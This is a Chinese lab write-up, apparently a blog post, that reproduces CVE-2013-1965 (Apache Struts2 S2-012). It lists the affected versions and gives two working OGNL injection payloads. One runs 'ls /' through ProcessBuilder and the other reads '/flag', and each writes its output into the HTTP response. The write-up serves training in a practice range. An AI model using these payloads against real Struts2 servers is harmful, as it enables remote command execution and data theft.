CVE-2013-1965 S2-012复现

CVE-2013-1965 S2-012复现


🍉 === shell
来源:https://yunjing.ichunqiu.com/cve/detail/947?type=1&pay=2


漏洞信息

漏洞名称远程代码执行漏洞
漏洞编号CVE-2013-1965
危害等级高危
漏洞类型中间件漏洞
漏洞厂商Apache
漏洞组件Struts2
受影响版本2.1.0 <= Struts2 <= 2.3.13

漏洞概述 : S2-012中,包含特制请求参数的请求可用于将任意 OGNL 代码注入属性,然后用作重定向地址的请求参数,这将导致进一步评估。当重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时,将进行第二次评估。这使恶意用户可以将任意 OGNL 语句放入由操作公开的任何未过滤的 String 变量中,并将其评估为 OGNL 表达式,以启用方法执行并执行任意方法,从而绕过 Struts 和 OGNL 库保护。

漏洞复现

POC:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“ls”, “/”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

直接在输入框提交
请添加图片描述
命令ls /执行响应结果写入user.action,并获取user.action文件
请添加图片描述
使用抓包的形式:
请添加图片描述

读取flag

POC:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“cat”, “/flag”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

请添加图片描述


参考:https://cloud.tencent.com/developer/article/2197848 https://www.cnblogs.com/peace-and-romance/p/15635486.html
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值